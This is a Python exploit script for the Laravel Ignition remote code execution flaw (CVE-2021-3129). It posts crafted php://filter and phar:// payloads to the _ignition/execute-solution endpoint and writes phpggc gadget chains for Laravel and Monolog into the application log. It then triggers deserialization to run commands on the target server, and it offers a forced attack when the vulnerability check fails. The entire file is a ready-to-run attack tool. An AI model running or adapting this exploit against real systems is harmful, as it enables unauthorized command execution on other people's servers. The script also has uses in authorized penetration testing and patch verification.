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exp.py
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# -*- coding=utf-8 -*-
# Author : Crispr
# Alter: zhzyker
import os
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
class EXP:
#这里还可以增加phpggc的使用链，经过测试发现RCE5可以使用
__gadget_chains = {
"Laravel/RCE1":r"""
php -d "phar.readonly=0" ./phpggc Laravel/RCE1 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Laravel/RCE2":r"""
php -d "phar.readonly=0" ./phpggc Laravel/RCE2 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Laravel/RCE3":r"""
php -d "phar.readonly=0" ./phpggc Laravel/RCE3 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Laravel/RCE4":r"""
php -d "phar.readonly=0" ./phpggc Laravel/RCE4 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Laravel/RCE5":r"""
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('id');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Laravel/RCE6":r"""
php -d "phar.readonly=0" ./phpggc Laravel/RCE6 "system('id');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Laravel/RCE7":r"""
php -d "phar.readonly=0" ./phpggc Laravel/RCE7 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Monolog/RCE1":r"""
php -d "phar.readonly=0" ./phpggc Monolog/RCE1 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Monolog/RCE2":r"""
php -d "phar.readonly=0" ./phpggc Monolog/RCE2 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Monolog/RCE3":r"""
php -d "phar.readonly=0" ./phpggc Monolog/RCE3 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
"Monolog/RCE4":r"""
php -d "phar.readonly=0" ./phpggc Monolog/RCE4 id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
}
def __vul_check(self):
res = requests.get(self.__url,verify=False)
if res.status_code != 405 and "laravel" not in res.text:
print("[+]Vulnerability does not exist")
return False
return True
def __payload_send(self,payload):
header = {
"Accept": "application/json"
}
data = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "cve20213129",
"viewFile": ""
}
}
data["parameters"]["viewFile"] = payload
#print(data)
res = requests.post(self.__url, headers=header, json=data, verify=False)
return res
def __clear_log(self):
payload = "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
return self.__payload_send(payload=payload)
def __generate_payload(self,gadget_chain):
generate_exp = self.__gadget_chains[gadget_chain]
#print(generate_exp)
exp = "".join(os.popen(generate_exp).readlines()).replace("\n","")+ 'a'
print("[+]exploit:")
#print(exp)
return exp
def __decode_log(self):
return self.__payload_send(
"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
def __unserialize_log(self):
return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")
def __rce(self):
text = str(self.__unserialize_log().text)
#print(text)
text = text[text.index(']'):].replace("}","").replace("]","")
return text
def exp(self):
for gadget_chain in self.__gadget_chains.keys():
print("[*] Try to use %s for exploitation." % (gadget_chain))
self.__clear_log()
self.__clear_log()
self.__payload_send('A' * 2)
self.__payload_send(self.__generate_payload((gadget_chain)))
self.__decode_log()
print("[*] " + gadget_chain + " Result:")
print(self.__rce())
def __init__(self, target):
self.target = target
self.__url = requests.compat.urljoin(target, "_ignition/execute-solution")
if not self.__vul_check():
print("[-] [%s] is seems not vulnerable." % (self.target))
print("[*] You can also call obj.exp() to force an attack.")
else:
self.exp()
def main():
EXP(sys.argv[1])
if __name__ == "__main__":
main()